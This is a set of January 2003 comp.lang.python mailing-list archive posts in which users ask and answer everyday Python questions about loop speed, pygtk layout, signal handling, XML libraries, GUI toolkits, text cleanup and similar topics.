> On Thu, 09 Jan 2003 03:25:41 -0700, some Dalke wrote:
> 
> >Afanasiy wrote:
> >>>A few languages provide syntax sugar for dealing with
> >>>this by allowing you to localize the class scope.
> >>>
> >>>Does Python? eg. `with self do:`
> >
> >> So the answer is a definitive no? I want to do things as I have them,
> >> I don't want to change my design just to be able to type 'self' less.
> >
> >It's a definite no.  From previous accounts, said sugar is hiding
> >rat poison.  It's advantages are slight to its disadvantages.  Eg,
> >for your case it would have hid a poor implementation rather than
> >yield a better one.
> 
> You don't know what I am doing. My design is perfect.

What is good design for one language isn't necessarily good design for
another.  Python offers different features to, say, C++, and is best used in
different ways.  I would recommend that you try to understand the pythonic
world-view better, rather than insisting on imposing your preconceptions on
us... my experience agrees with Andrew Dalke's; explicit self is much better
than the alternatives.

Not to mention that the code you have shown us doesn't give me any confidence
that your code is what you claim it to be.

> In my situation, your way is wrong. I am not looking to
> hide a poor implementation. That's a rude assumption.

What is your situation?  You're refusing to say what it actually is, so it's
reasonable for people to refuse to try help you -- its hard to know what the
answer is if you won't tell us the question!

Show us your code, and let us help you.

-Andrew.





From P at draigBrady.com  Mon Jan 13 12:25:21 2003
From: P at draigBrady.com (P at draigBrady.com)
Date: Mon, 13 Jan 2003 17:25:21 +0000
Subject: slow loop?
In-Reply-To: <3E22F5EC.A546F834@engcorp.com>
References: <1964c4d7.0301130842.2f693958@posting.google.com> <3E22ED2B.40100@draigBrady.com> <3E22F5EC.A546F834@engcorp.com>
Message-ID: <3E22F681.70300@draigBrady.com>

Peter Hansen wrote:
> P at draigBrady.com wrote:
> 
>>Brian Kranson wrote:
>>
>>>Is there a way I can make this small script any faster?  The file it
>>>reads in used to be only about a 100 lines and now it is well over
>>>2000.  It takes about 14 seconds to run it on my PentiumII.  Thanks in
>>>advance - Bk
>>>
>>>import time
>>>startTime=time.time()
>>>myList=[]
>>>finalList=[]
>>>myString=''
>>>file=open('Export.txt','r')
>>>lines=file.readlines()
>>>for line in lines:
>>>        for character in line:
>>>                if character == '"':
>>>                        None
>>>                elif character == ',' or character == '\n':
>>>                        myList.append(myString)
>>>                        myString=''
>>>                else:
>>>                        myString += character
>>>        finalList.append(myList)
>>>        myList=[]
>>>endTime=time.time()
>>>print endTime-startTime
>>
>>file=open('Export.txt','r')
>>for line in file.readlines():
>>     line = line.strip()
>>     finalList.append(line.split(','))
> 
> 
> This doesn't remove the quotation marks that surround each field, though
> it does make a good point: don't process character-by-character in Python
> if you want performance!

sorry forgot about that, something like the following should work:

finalList=[]
file=open('Export.txt','r')
for line in file.readlines():
      line = line.strip().replace('"','')
      finalList.append(line.split(','))

P?draig.




From peter at engcorp.com  Fri Jan 10 17:53:18 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Jan 2003 17:53:18 -0500
Subject: Java 20xfaster then Python !!??
References: <3E1E9CB2.6080001@molgen.mpg.de> <89cnva.jg3.ln@beastie.ix.netcom.com>
Message-ID: <3E1F4EDE.E901258F@engcorp.com>

Dennis Lee Bieber wrote:
> 
>         The paper located at:
> 
>                 http://www.ipd.uka.de/~prechelt/Biblio/jccpprtTR.pdf
> 
> may be of interest (my thanks to the person who posted the link earlier
> today -- I'd been trying to find this paper for much of the last four
> months).

Ouch!  Next time, just try to remember to use google with "python perl java".
That paper is still (or, finally?) the first hit.

-Peter



From asho.bbs at bbs.sayya.org  Mon Jan 20 23:02:28 2003
From: asho.bbs at bbs.sayya.org (ªü«H)
Date: 21 Jan 2003 04:02:28 GMT
Subject: Problems about my newbie code.( using pygtk )
Message-ID: <44O7d4$lPk@bbs.sayya.org>

? ???pedro_rodriguez at club-internet.fr (Pedro Rodriguez)?????
> an that is why you get a warning message when you run your application :
> Gtk-CRITICAL **: file gtkbin.c: line 217 (gtk_bin_add): assertion `bin->child == NULL'
> failed.
> Usually you add a container widget that manage the layout of sub widgets like a
> GtkVBox.
> from gtk import *
> import os
> def vcdrip(*args):
>         #command = "vcdxrip --cdrom-device=/dev/cdrom -p"
>         command = "hehe"
>         os.system(command)
>         window.destroy()
> def destroy(*args):
>     window.hide()
>     mainquit()
> window = GtkWindow(WINDOW_TOPLEVEL)
> window.connect("destroy", destroy)
> window.set_border_width(50)
> v = GtkVBox()  # added
> window.add(v)  # added
> button = GtkButton("vcdrip")
> button.connect("clicked",vcdrip)
> v.add(button)  # changed
> button.show()
> button2 = GtkButton("exit")
> button2.connect("clicked",destroy)
> v.add(button2) # changed
> button2.show()
> window.show_all()
> mainloop()
> Don't forget there is also a mailing list for pygtk :
> http://www.daa.com.au/mailman/listinfo/pygtk
> Pedro
    Thanks a lot. It did worked...

    I think I should read more about the gtk API reference
--
        ------  ??  ------
      Welcome To Debian World!!
     Debian GNU/Linux is my love
    ?????????Debian??
      http://moto.chuany.net/
        SeXyDebian???...
--
? Origin: SayYA ??? <bbs.sayya.org> 
? From: 61-217-64-215.hinet-ip.hinet.net



From fredrik at pythonware.com  Sun Jan  5 15:21:41 2003
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 05 Jan 2003 20:21:41 GMT
Subject: Console stall
References: <e62b26d3.0301050830.5ee03a0c@posting.google.com>
Message-ID: <pt0S9.4717$LY2.270691@newsc.telia.net>

Matt Singer wrote:

> I've hacked up some scripts that look up some info on various web
> sites and prints out info to the shell window (this is win32) as it
> goes along.  The odd thing is that it seems to "randomly" stall until
> you hit the return key in the shell window.
>
> Any thoughts on what I am doing stupidly? ;-)

sounds like you've enabled "quick edit mode" for your console windows.
in this mode, clicking in the window does the same thing as "edit/mark";
that is, it blocks output, changes the console title, and waits for you to
mark some text.

to switch it off, use the "properties/option" panel (which you can find
via the console's window menu)

see also (random google link):

    http://windows.about.com/library/tips/bltip129.htm

</F>





From mwh at python.net  Tue Jan 14 09:40:22 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 14 Jan 2003 14:40:22 GMT
Subject: Blocking ctrl-c to os.popen() or os.system()
References: <d71cc7f6.0301041400.25c106c4@posting.google.com>
Message-ID: <7h34r8bssjo.fsf@pc150.maths.bris.ac.uk>

sandeep182 at hotmail.com (Sandeep Gupta) writes:

> I am executing a command from python via os.popen().  While the
> command is executing, if I type ctrl-c, the command receives the
> interrupt.  I would like to block the ctrl-c from the command and I've
> tried the following:
> 
> 1)Using python's signal module to ignore SIGINT.  This causes python
> to ignore SIGINT, but a ctrl-c that is typed during the popen() call
> still goes to the command.

That's surprising, to me at least.  I thought the exec* functions left
SIG_IGN signal destinations alone.  Does popen reset them?  The linux
manpage doesn't give any indication of doing so.

Cheers,
M.

-- 
  A.D. 1517: Martin Luther nails his 95 Theses to the church door and
             is promptly moderated down to (-1, Flamebait).
        -- http://slashdot.org/comments.pl?sid=01/02/09/1815221&cid=52
                                        (although I've seen it before)



From mhammond at skippinet.com.au  Tue Jan 21 00:32:02 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Tue, 21 Jan 2003 05:32:02 GMT
Subject: Python extension for MANAGED C++ with VC.NET
In-Reply-To: <2GNW9.59636$hl1.6803@sccrnsc04>
References: <2GNW9.59636$hl1.6803@sccrnsc04>
Message-ID: <mX4X9.11777$m47.37794@news-server.bigpond.net.au>

Chetan Gadgil wrote:
> Hi
> 
> Is anyone working on the above?
> I had started work on a library I called PyCLR - a module using Mark
> Hammond's win32all, but later discovered that Mark had already done
> something similar for Python.NET, but was not too happy with the results.
> 
> I have started on VC.NET with managed c++ and have "managed" (no silly pun
> intended :)) to load an extension module into Python and call into Managed
> Code.

This sounds cool.  How are you doing it?

Another strategy would be a module similar to win32com, but using the 
.NET reflection API natively (you can use the COM interop layers now, 
but probably would get better results using .NET natively).  Then you 
would be able to load and run any .NET assembly, regardless of 
implementation language.

Unfortunately, there is also interest in being able to use Python 
extension from .NET - ie, the other direction.

But keep us posted on the results and where we can find the code!

Mark.




From jdhunter at ace.bsd.uchicago.edu  Thu Jan 16 11:50:52 2003
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Thu, 16 Jan 2003 10:50:52 -0600
Subject: Mixing Python and C: any easy way?
In-Reply-To: <b68f71a7.0301160727.31172a32@posting.google.com> (alan_salmoni@yahoo.com's
 message of "16 Jan 2003 07:27:10 -0800")
References: <CFN376368443311343@news.mindspring.com>
	<b68f71a7.0301160727.31172a32@posting.google.com>
Message-ID: <m2fzrtdonn.fsf@mother.paradise.lost>

>>>>> "Alan" == Alan James Salmoni <alan_salmoni at yahoo.com> writes:

    >> Am I overreacting here?  And is there a better way to do this?
    >> If not SWIG, then what can do this task?  Am I asking for the
    >> impossible?  I've heard that Python is supposed to be good at
    >> interfacing with C/C++.  Can someone give me some pointers that
    >> will help me out here?

Other's have suggested boost::python, which I 2nd, since you have a
lot of C++ experience.

There is a new open source tool called CABLE by kitware which promises
automatic extension building of C++ code using gcc's internal parser.
Right now they only support extensions in tcl, but python and other
languages are supposed to be soon forthcoming.  These guys have
extensive experience writing python extensions with for their VTK.

  http://public.kitware.com/Cable/HTML/Index.html

There is also a recent article on CABLE in the Jan issue of C/C++
Users Journal.

John Hunter
 




From spam at magnetic-ink.dk  Tue Jan 28 14:03:56 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Tue, 28 Jan 2003 19:03:56 +0000 (UTC)
Subject: python weblog apps?
References: <mailman.1043716191.28394.python-list@python.org>
Message-ID: <9451cb74-5ec2-4799-93ab-01ee1f4e9bd5@news.szn.dk>

David LeBlanc skrev:

> Bzero
> http://www.myelin.co.nz/bzero/

The darned thing about Bzero is that it is distributed as a bunch
of compiled python script (.pyc) -- no source is available. :(


  // Klaus

-- 
 ><> 	vandag, m?re, altyd saam



From knightmare at ccxx.net  Sun Jan 19 04:30:04 2003
From: knightmare at ccxx.net (knightmare)
Date: Sun, 19 Jan 2003 17:30:04 +0800
Subject: grace way to repeat a function
Message-ID: <b0dr6o$lbi$1@mail.cn99.com>

i'm finding a way to repeat a function.used to do like this:
for i in range(1,10):
    print "function"
but i think this not graceful.anyone have good idea ?





From peter at engcorp.com  Thu Jan  9 09:02:11 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 09 Jan 2003 09:02:11 -0500
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org> <mailman.1042057221.18729.python-list@python.org> <1rhiva.l04.ln@beastie.ix.netcom.com> <3E1CE32D.88E6F076@engcorp.com> <tluiva.tg4.ln@beastie.ix.netcom.com>
Message-ID: <3E1D80E3.BB34F741@engcorp.com>

Dennis Lee Bieber wrote:
> 
> Peter Hansen fed this fish to the penguins on Wednesday 08 January 2003
> 06:49 pm:
> 
> >>>>> a = 5
> >>>> def p1():
> > ...   b = 6
> > ...   print a, b
> > ...   def p2():
> > ...     c = 7
> > ...     print a, b, c
> > ...     def p3():
> > ...        d = 8
> > ...        print a, b, c, d
> > ...     p3()
> > ...   p2()
> > ...
> >>>> p1()
> > 5 6
> > 5 6 7
> > 5 6 7 8
> >>>>
> >
>         Okay, unmasqueraded /read/ access is available (and possibly -- if the
> item is mutable, mutations. But raw /write/ access is not.

Of course!  Without declaring variables before their use, how could
you expect the compiler to know in which scope to place the newly
created name.  It does the only thing it can: place it in the local
namespace if it is a local, or the global one if defined as a global.
Anything else would seem unexpected.  This is Python, after all, and
not Pascal.

Out of curiousity though: what means can one use to access the other
scopes, if the need arises (which, one would hope, it never does)?

-Peter



From gleki at gol.ge  Thu Jan  2 07:23:51 2003
From: gleki at gol.ge (Giorgi Lekishvili)
Date: Thu, 02 Jan 2003 13:23:51 +0100
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com>
Message-ID: <3E142F57.B7B40378@gol.ge>

Hi,
Please find recently reported stuff:
http://starship.python.net/crew/mike/Idle/
and
http://www.die-offenbachs.de/detlev/eric3.html

and don't forget to check this:
http://www.python.org/cgi-bin/moinmoin/PythonEditors

my personal choice is still emacs equipped with the python mode:

http://www.python.org/emacs/python-mode/

Regards,
Giorgi


Johan wrote:

> Hi,
>
> Anyone know some good Python editors under Linux?
> With good color highlightning... :)
>
> I prefer free editors (have seen WingIDE but it isnt free :(...).
>
> I hope someone know where i can find some editors :)
>
> Looking forward to your replies... :)
>
> Regards,
> Johan




From karsten at rohrbach.de  Wed Jan  8 16:27:20 2003
From: karsten at rohrbach.de (Karsten W. Rohrbach)
Date: 8 Jan 2003 21:27:20 GMT
Subject: Python and Politics, Was: Python vs .Net (
References: <mailman.1041982992.14279.python-list@python.org> <Pine.GSO.4.21.0301081443160.4782-100000@supreme.pcug.org.au> <avg9tu$f1rlb$1@ID-117651.news.dfncis.de>
Message-ID: <slrnb1p63u.5g0.karsten@datasink.webmonster.de>

Peter Wu <peterwu at hotmail.com> wrote:
> Avery Andrews wrote:
> 
>> How does this play out in places that don't recognize software
>> patents, especially where the local government is not interested in
>> promoting the dominance of M$?  'twould be odd for USA-ans to be
>> looking to Latin America and China for the defense of freedom, but
>> such is life ...
> 
> No politics, please.

Why? In a world where it becomes quite obvious, that property rights
turn out to stand over human and individual rights, and these property
rights are enforced with a big budget by industry interest groups and
also by using military forces, software is not a no-politics zone anymore.

Don't get me wrong, I don't want to sound snappy, but that's how I see
the course of action in international politics and industry cartels. And
I don't want my kids to suffer from this negative evolution of law and
order and humanity. There's more to life, than just working to be able
to consume. Happyness is not derived from trade goods or intellectual
property.

It goes well beyond the scope of software, but our momentary key
technologies being powered by said software, reflect this evolution more
and more.

Intervention or not, design or misdesign, binding of resources or
good collaboration - decisions often lie in our hands, not the hands of
the government or fortune500 companies[1].

Because of the above, I clearly see this thread being on-topic.

Regards,
/k

[1] Excuse my probably bad choice of words, I'm not a native english
    speaker.




From BPettersen at NAREX.com  Mon Jan  6 13:19:50 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 6 Jan 2003 11:19:50 -0700
Subject: Suggestion: UnixOptionParser class in optparse.py
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE9F@admin56.narex.com>

> From: Rich Harkins [mailto:rharkins at thinkronize.com] 
> 
> I love the OptionParser class.  Good stuff.  The only thing 
> that I would want different (right now anyway) would be a 
> simple way to parse Unix style options (first non-option 
> argument terminates options).

Does the getopt module
(http://www.python.org/doc/current/lib/module-getopt.html) do what you
want? (It's the pre Python 2.3 way of doing options...)

-- bjorn




From tjreedy at udel.edu  Mon Jan 20 13:08:15 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 20 Jan 2003 13:08:15 -0500
Subject: a single class supporting multiple facets/interfaces
References: <mailman.1043066796.28044.python-list@python.org>
Message-ID: <ix2cnb2sPtNAoLGjXTWcpg@comcast.com>

[cc'ed]
"David Garamond" <davegaramond at icqmail.com> wrote in message
news:mailman.1043066796.28044.python-list at python.org...
> the above code does what i want to accomplish, but i think it's very
> ugly. can anyone make it more elegant?

I am slightly surprised at how often people post questions like the
above.
To me, any code which is straightforward (comprehensible on one
reading), easy to change, and which accomplishes the goal intended,
has a certain kind of beauty.
Code does not have to be ugly to be improvable.

That said, I believe you could also do what you want by deriving your
master class from object (to make it 'new-style') and the facet
classes from the master class.  Then provide a factory function which
returns an instance of the desired subclass.
Something like

def giveme(choice):
  return {1:sub1, 2:sub2, 3:sub3}[choice]()

To change the interface of existing instances, provide another
function that changes __class__ (or let clients know that they can).
The following experiment indicates that this should work.

>>> class c(object):
...   def f(s): print s
...
>>> class c1(c): pass
...
>>> cc=c()
>>> cc.f()
<__main__.c object at 0x00792170>
>>> cc.__class__ = c1
>>> cc.f()
<__main__.c1 object at 0x00792170>

Perhaps you can do this with classic classes, don't know.

Terry J. Reedy





From jbperez808 at yahoo.com  Fri Jan 17 22:34:03 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 17 Jan 2003 19:34:03 -0800
Subject: a fairly ugly/kludgy way to get 'aliases' in Python
References: <f57664b9.0301161552.5dff2038@posting.google.com> <mailman.1042827297.2914.python-list@python.org>
Message-ID: <f57664b9.0301171934.58612fa@posting.google.com>

Cliff Wells <LogiplexSoftware at earthlink.net> wrote in message news:<mailman.1042827297.2914.python-list at python.org>...

> I don't think performance will be affected either way (it's all
> dictionary lookups).  Still, I wonder why you don't just use:
> 
> class A:
>     def __init__(self):
>         self.long_descriptive_name = 0
>         self.long_descriptive_name2 = 10
> 
>     def x(self):
>         alias1 = self.long_descriptive_name
>         alias2 = self.long_descriptive_name2
>         self.alias = alias2 * alias1
> 
> which would seem to be the equivalent, more readable form.

Ah but this won't work.  You need to do the D_[alias1]=newvalue
trick to get the value assigned to self.long_descriptive_name.
The behaviour is different and that's why I wonder if there
is a speed penalty involved.



From nospam1 at acmecomm.net  Thu Jan  9 08:55:47 2003
From: nospam1 at acmecomm.net (Paul Smith)
Date: Thu, 09 Jan 2003 13:55:47 GMT
Subject: XML and Python
In-Reply-To: <aj9q1v47i1pmjlrv2v3uhag3a301is0f3u@4ax.com>
References: <C6XS9.23024$eB1.1059867@twister.southeast.rr.com> <aj9q1v47i1pmjlrv2v3uhag3a301is0f3u@4ax.com>
Message-ID: <DbfT9.31203$eB1.1218762@twister.southeast.rr.com>


Tim Roberts wrote:
> Paul Smith <nospam1 at acmecomm.net> wrote:
> 
>>Hi gang,
>>	I recently rediscovered Python, and I'm interested in using it for a 
>>project I'm embarking on. It involves a lot of XML/XSLT processing, and 
>>I'm trying to figure out which python XML module set/paradigm to 
>>concentrate on.
>>	Can anyone point me to a resource which compares and contrasts, and 
>>describes the interalationships between the many python XML packages out 
>>there? I've briefly looked through xmllib, 4Suite, libxml2, and PyXML, 
>>and found there's a lot of overlap and inbreeding. Anyone out there with 
>>experience using these various packages care to run down the 
>>virues/faults of each and balance ease-of-use vs. features?
> 
> 
> I _STRONGLY_ recommend that you invest in the book, "Python & XML" by
> Christopher Jones & Fred Drake.  I'm only half-way through, and it's
> already been worth the money.


	...And it's even an O'Reilly book. :) I didn't know such a creature 
existed 'til a few hours after my post. I've already got my copy, and 
you're right - it was exactly what I was looking for. Thanks, Tim!

--PS




From vanevery at 3DProgrammer.com  Thu Jan 30 16:25:41 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 21:25:41 GMT
Subject: Python vs. C++ Builder - speed of development
References: <mailman.1043904061.3760.python-list@python.org> <nM5_9.4304$wd2.333480@newsread2.prod.itd.earthlink.net> <NU6_9.48134$Hl6.6118113@news010.worldonline.dk>
Message-ID: <pLg_9.5360$Wu1.409484@newsread1.prod.itd.earthlink.net>

Max M wrote:
> Brandon Van Every wrote:
>
>> Man, I am so sick of Usenet.  Why do I bother?  Oh, I remember
>> now... my eyes are glazing over after all the C++ code I've been
>> writing.  I'm laboring under the delusion that this "break" somehow
>> helps.
>
>
> Why don't you take the break at the company's water cooler instead?

Because I work at home.  I suppose I could go around the corner to a coffee
shop.


--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From P at draigBrady.com  Fri Jan 10 10:29:48 2003
From: P at draigBrady.com (P at draigBrady.com)
Date: Fri, 10 Jan 2003 15:29:48 +0000
Subject: How do I get to *all* of the groups of an re search?
In-Reply-To: <v1titmb0454v58@corp.supernews.com>
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com>
Message-ID: <nIBT9.2093$V6.2730@news.indigo.ie>

Cameron Laird wrote:
> I'm clumsy with REs--I don't immediately see how to achieve
> your desired result.  I can quickly observe that
>   import re
> 
>   text = 'foo foo1 foo2 bar bar1 bar2 bar3'
> 
>   test_re = re.compile('([a-z]+)(( \\1[0-9]+)+)')
> 
>   print test_re.findall(text) 
> yields
>   [('foo', ' foo1 foo2', ' foo2'), ('bar', ' bar1 bar2 bar3', ' bar3')]
> One of us will probably get an RE that properly listifies these
> within the next day ...

No need to do everything in the RE.

1. test_re = re.compile('([a-z]+)((?: \\1[0-9]+)+)')
2. just .split() the resultant ' foo1 foo2' etc.

P?draig.




From edream at tds.net  Tue Jan 14 11:41:46 2003
From: edream at tds.net (Edward K. Ream)
Date: Tue, 14 Jan 2003 16:41:46 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042549944.8967.python-list@python.org>
Message-ID: <e5XU9.132589$Hs2.12039567@kent.svc.tds.net>

[snip]

> I put the Python version of the function back into my application and
set Psyco loose on it, I was shocked to find it performing more than 2x
faster than the C version. I had to investigate...

> What I concluded was that Psyco does have access to more information at
runtime than a compile-time optimizer.

[snip]

> So in my real world case, Python code with Psyco was faster than the
equivalent code in C. That's not to say that a faster alternative
couldn't be created in C, but that a faster version in C wouldn't have
been created because it would have required significantly more time
spent profiling and analyzing code (after already spending significantly
more time writing the code in the first place).

Many thanks, Jimmy, for this detailed and fascinating report.  I shall put
this day down in my diary as the day that everything I may have known about
"speed" changed, very likely forever.

> Just imagine someone someday saying: C is fine for most of your
programming tasks, but for those time critical tight inner loops you
should use Python for performance reasons. Statically typed code just
can't be optimized for performance the way dynamically typed code can
be. :)

How excellent :-)  Why would anyone ever use C at all, except to bootstrap
Python?

Thanks so much to all who have born with me through all this discussion.  I
feel like I've learned something vitally important in the last several days.

Edward






From steffen.michael at imms.de  Thu Jan 16 06:33:35 2003
From: steffen.michael at imms.de (Steffen Michael)
Date: Thu, 16 Jan 2003 12:33:35 +0100
Subject: TreeListCtrl with wxPython
Message-ID: <3E26988F.AAD023A2@imms.de>

Hi,
I want to use a TreeList, a combination of the TreeCtrl and the
ListCtrl. Exists such a class already, or do I have to program this
class? And how I have to do this?
Thanks for any hints,
steffen




From donnalcwalter at yahoo.com  Tue Jan 21 22:56:38 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Tue, 21 Jan 2003 21:56:38 -0600
Subject: anybody know where I can get a copy of a NeXT style guide?
References: <mailman.1043181578.22385.python-list@python.org> <slrnb2rmkn.eg5.karsten@datasink.webmonster.de>
Message-ID: <b0l4mq$3la$1@main.gmane.org>

Karsten W. Rohrbach <karsten at rohrbach.de> wrote:
> Laura Creighton <lac at strakt.com> wrote:
> > Does such a beast exist?  Google isn't being helpful.
>
> There is an OpenStep UI Guide available at sun.com:
>     http://docs-pdf.sun.com/802-2109/802-2109.pdf
>
> I don't know where/if there are UI differences to NextSTEP, but I saw the
> interface quite a while ago and, at least, both look quite similar.

I have a copy of "Nextstep User Interface Guidelines: Release 3" and it is
essentially identical to the OpenStep UI Guide that Karsten references here.









From alloydflanagan at attbi.com  Thu Jan 30 14:24:23 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 30 Jan 2003 11:24:23 -0800
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>
Message-ID: <a8b7f07a.0301301124.2a705406@posting.google.com>

Dale Strickland-Clark <dale at riverhall.NOTHANKS.co.uk> wrote in message news:<m4di3v4koufdbf4e2pvsanegli2kqt48ch at 4ax.com>...
> In many places, often small utility functions, I find myself using the
> form:
> 
> lst = maybeAnArg
> if type(lst) not in (list, tuple)
>     lst = [lst]
> for x in lst:
>     whatever
> 
> Has anyone got a neater way of doing this?
> 

In python, if you ever try to explicitly check the type of something,
you're almost certainly doing it wrong.  You don't care if the thing
is a list, usually, you want to know if it's a sequence, whether a
list, tuple, set, or some user-defined type.  So try subscripting it:

def aslist(x):
   try:
      x[0]
   except TypeError:
      return [x]
   return x

or just:

try:
     mangle = [x for x in lst if whatever]
except TypeError:
     mangle = [x for x in [lst] if whatever]



From whit at shaftnet.org  Tue Jan 28 16:41:25 2003
From: whit at shaftnet.org (Whit Whitfield)
Date: 28 Jan 2003 13:41:25 -0800
Subject: beating a dead horse: automated form submission
References: <b0e655d.0301251204.5b7415e5@posting.google.com>
Message-ID: <b0e655d.0301281341.5d7ae942@posting.google.com>

Ok, so I at least got past step 1 -- apparently my WinPython was setup
incorrectly because the code snippet above worked in Idle and on my
unix version of Python also.  (I assume that getting '200 OK' back
from musical
means it worked.
Now my only question is this:  I've scoped out the forms that I need
to automate and have all the name-data pairs, but do I need to do
anything special for the Submit button?  Or does posting the data
automatically start the server-side onSubmit actions?  Thanks for your
help everyone!

-whit



From t.evans at paradise.net.nz  Mon Jan 27 05:57:16 2003
From: t.evans at paradise.net.nz (Tim Evans)
Date: Mon, 27 Jan 2003 10:57:16 GMT
Subject: skinnable, portable widgets?
References: <TJOY9.4000$U27.382481@newsread2.prod.itd.earthlink.net>
Message-ID: <87iswakghf.fsf@cassandra.evansnet>

"Brandon Van Every" <vanevery at 3DProgrammer.com> writes:

> I'm looking for a GUI widget toolkit that:

You could use GTK (http://www.gtk.org/).  Here is how it rates
according to your requirements:

> - has a python binding

Yes (http://www.daa.com.au/~james/pygtk/).  You probably want to go
with GTK v2.0 and PyGTK 1.99.14, even though the python bindings aren't
quite finished.

> - is skinnable

Yes.  GTK uses 'engines' and 'themes' that can completely change the
rendering of widgets.  This is normally set by the user for all GTK
applications, but can also be application-specific.  For a game, look
into the 'pixbuf' engine, which allows you to specify a theme using
images for every part of the widgets, and supports full alpha channels
on those images.  For some examples of GTK themes, including
screenshots, see http://themes.freshmeat.net/browse/958/?topic_id=958

> - is portable/ported to at least Win32 and Linux

Originally developed on Linux, so that's where it runs best.  Win32
version quite good and getting better.

> - does not try to own the application's event pump

GTK does have its own event loop code, but you don't have to use it,
just tell it to update every so often to get your events.

> - is amenable to displaying my own 3D code in a window

Yes, look for gtkgl.  The python interface for which is part of pygtk.

> - is mature, ready for prime time

On Linux, definitely.  On Windows, probably close enough.

> - is open source

Yes.  GTK is LGPL.

> - whose implementation is not overly complicated, so that as things bitrot
> over the next 10 years, I can maintain it and port it to new platforms

You probably wouldn't want to maintain GTK all by yourself, but the
chance of it disappearing within 10 years is zero.

> 
> The primary application is for games.  I must be able to control the look
> and feel of the widgets, so skinnability is a hard requirement.  Any
> recommendations?

Try GTK, and see what you think.

-- 
Tim Evans



From mwh at python.net  Wed Jan 15 11:55:39 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Jan 2003 16:55:39 GMT
Subject: get instance name  inside of member function
References: <3E1D869F.2050809@emsys.de>
Message-ID: <7h34r8aqrmd.fsf@pc150.maths.bris.ac.uk>

Ralf Oberl?nder <ralf.oberlaender at emsys.de> writes:

> Hi gurus,
> 
> is it possible to get the name of the instance inside a member function:

>From http://www.amk.ca/quotations/python-quotes/page-8.html:

  The same way as you get the name of that cat you found on your
  porch: the cat (object) itself cannot tell you its name, and it
  doesn't really care -- so the only way to find out what it's called
  is to ask all your neighbours (namespaces) if it's their cat
  (object)...

  ....and don't be surprised if you'll find that it's known by many
  names, or no name at all!

Fredrik Lundh, 3 Nov 2000, in answer to the question "How can I get the
name of a variable from C++ when I have the PyObject*?"

Cheers,
M.

-- 
  Never meddle in the affairs of NT. It is slow to boot and quick to
  crash.                                             -- Stephen Harris
               -- http://home.xnet.com/~raven/Sysadmin/ASR.Quotes.html



From sismex01 at hebmex.com  Fri Jan 10 09:57:39 2003
From: sismex01 at hebmex.com (sismex01 at hebmex.com)
Date: Fri, 10 Jan 2003 08:57:39 -0600
Subject: Novel Thoughts on Scripting and Languages
Message-ID: <F7DB8D13DB61D511B6FF00B0D0F06233035CD7EE@mail.hebmex.com>

> From: judoscript at hotmail.com [mailto:judoscript at hotmail.com]
> Sent: Friday, January 10, 2003 12:11 AM

Just a few observations...

> 
> Without static typing, what good does strongly-typedness do?
> 

...

> 
> It's the statical typing that make strong-typedness a big help for
> boosting software quality -- the compiler! And that's what makes me
> wonder people implement big software without the help of compilers.
> 

OK. **PLEASE** go to comp.lang.lisp and tell them exactly
that, so you'll get tossed on your bum.  If the last Lisp/Python
thread said anything meaningfull, it was that static typeing
has nothing to do with generating efficient native code.
It helps, but it isn't the only thing.

Please do check out the last Lisp vs. Python thread here on this
newsgroup for a rundown on the whole thing.

-gustavo




From wurmy at earthlink.net  Thu Jan  2 09:58:30 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Thu, 02 Jan 2003 14:58:30 GMT
Subject: Removing Control characters
References: <mailman.1041496573.26425.python-list@python.org>
Message-ID: <3E145464.2090802@earthlink.net>

Amol Sonaikar wrote:

> I have an output of an command line operation which is stored in file and it 
> contains special characters. The file looks as below:
> 
> --------------------------------------------------------------
> 
> --->TestCase Command: add-route dest-ip subnet 22.12.23.44 subnetmask 
> 255.255.255.255 nexthop-ip 192.168.22.98
> interface ppd0^G
> iprouting> add-route dest-ip subnet 22.12.23.44 subnetmask 255.255.255.255 
> ^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H$dest-ip 
...etc...

Judging from the subject line, you want to remove these control characters. 
Here goes:

   # read all data as one big string
   f = open(filename, "rb")
   data = f.read()

   # remove ^H
   import string
   data = string.replace(data, chr(8), "")

   # do something nice with data, e.g. write it back to file,
   # or display it, etc.

HTH,

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From mwm at mired.org  Sun Jan 12 01:44:15 2003
From: mwm at mired.org (Mike Meyer)
Date: Sun, 12 Jan 2003 06:44:15 GMT
Subject: Boolean searches of file content.
References: <BA4624FE.1EBF%c1572young@earthlink.net> <81fbdcf7.0301112213.21d65d85@posting.google.com>
Message-ID: <x7u1gesw8s.fsf@guru.mired.org>

news at youplusme.com (newsman) writes:

> > Say I want to find only those files that have  both  "apple" and
> > "orange" in them.  The command
> > 
> >     egrep 'apple|orange' {directory}
> > 
> > finds either one. Is there a way to do this with egrep? Or is something
